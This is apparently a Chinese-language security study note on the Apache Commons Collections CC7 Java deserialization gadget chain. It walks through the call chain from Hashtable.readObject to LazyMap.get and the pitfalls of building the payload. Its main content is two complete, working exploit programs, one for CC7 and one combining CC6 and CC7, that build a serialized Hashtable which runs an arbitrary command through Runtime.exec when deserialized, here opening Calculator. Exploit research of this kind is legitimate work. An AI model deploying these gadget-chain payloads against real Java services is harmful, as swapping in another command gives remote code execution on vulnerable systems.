1. 1. 完整 EXP
  2. 2. EXP构造逻辑
  3. 3. EXP构造坑点
  4. 4. CC6 + CC7
    1. 4.1. 完整 EXP
  5. 5. 调用链流程图

CC7链较之前分析的调用链相比更加复杂,构造 exp的坑点也更多。

完整 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map map1 = new HashMap<>();
Map lazyMap1 = LazyMap.decorate(map1, chainedTransformer);
lazyMap1.put("yy", 1);
Map map2 = new HashMap<>();
//防止在 hashtable.put时提前触发命令执行,但不能与 value相同,不然不执行 addEntry
Map lazyMap2 = LazyMap.decorate(map2, new ConstantTransformer(2));
lazyMap2.put("zZ", 1);

Hashtable<Object, Object> hashtable = new Hashtable<>();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,2);

//解决 hashtable.put时将 "yy"->1添加到 lazyMap2中的问题
lazyMap2.remove("yy");
//为了反序列化时能命令正常执行,将 lazyMap2的 factory改回 chainedTransformer
Class lazzMapClass = LazyMap.class;
Field factoryField = lazzMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap2, chainedTransformer);

serialize(hashtable);
deserialize();
}

public static void serialize (Object object) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt"));
objectOutputStream.writeObject(object);
}

public static void deserialize () throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt"));
objectInputStream.readObject();
}
}

EXP构造逻辑

可以参考 ysoserial中的 CommonsCollections7.java (https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections7.java)

1
2
3
4
5
6
7
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
LazyMap中没有 equals,向上找父类 AbstractMapDecorator
org.apache.commons.collections.map.AbstractMapDecorator.equals
HashMap中也没有 equals,向上找父类 AbstractMap
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get

1、LazyMap.get方法可以在 AbstractMap.equals中被调用:

image-20250209165531538

2、AbstractMap.equals可以在 AbstractMapDecorator.equals中被调用:

image-20250209165707774

3、AbstractMapDecorator.equals可以在 Hashtable.reconstitutionPut中被调用:

image-20250209170014038

4、Hashtable.reconstitutionPut在 Hashtable.readObject中被调用:

image-20250209170411542

EXP构造坑点

1、hashtable.put(lazyMap2, 2)提前触发 equals导致提前命令执行:

image-20250209170758250

利用前几条链的思路,先给 lazyMap2的 factory属性使用 new ConstantTransformer赋值,hash table.put(lazyMap2,2)之后再利用反射修改会 chainedTransformer:

image-20250209171052819

2、hashtable.put(lazyMap2,2)时,经过 LazyMap.get方法时会将 lazyMap1中的键 “yy”添加到 lazyMap2中,导致反序列化时不执行 transform,导致不能命令执行:

image-20250209171434032

image-20250209171645641

所以需要在 hashtable.put(lazyMap2,2)之后删除 lazyMap2中的 “yy”键:

image-20250209171730476

3、new ConstantTransformer(?) 中 ?的值不能和 hash table.put(lazyMap2, value)中的 value值相同,否则不会触发 hashtable.put(lazyMap2, value)中的 addEntry方法,导致后续代码无法正常执行:

image-20250209172326082

打断点跟进 hashtable.put(lazyMap2, value)的逻辑中,跟进 entry.key.equals(key),在 AbstractMap.equals方法中进行了判断,若这两个值相同,则会返回 true:

image-20250209172856391

后果就是在 hashtable.put中,直接进入到 if逻辑中,return old而不是执行 addEntry方法,导致后续代码无法正常执行:

image-20250209173013719

4、lazyMap1和 lazyMap2计算后的 hash值需要相同,因为使用了 &&,若左侧语句为 false,则不会执行右侧代码,即不会执行 entry.key.equals(key):

image-20250209173310350

CC6 + CC7

分析 CC7的过程中可以看到 Hashtable.reconstitutionPut中调用了 key.hashCode方法,故可以联合利用 CC6中的 TiedMapEntry.hashCode进行组合利用:

image-20250209192249505

完整 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7_hashCode {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
lazyMap.put("aa", 1);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "b");
Hashtable<Object, Object> hashtable = new Hashtable();
hashtable.put(entry, 1);
//同理,防止 hashtable.put时提前添加到 lazyMap中
lazyMap.remove("b");

Class lazyClass = LazyMap.class;
Field factoryField = lazyClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

serialize(hashtable);
deserialize();
}

public static void serialize (Object object) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt"));
objectOutputStream.writeObject(object);
}

public static void deserialize () throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt"));
objectInputStream.readObject();
}
}

调用链流程图

image-20250209192409611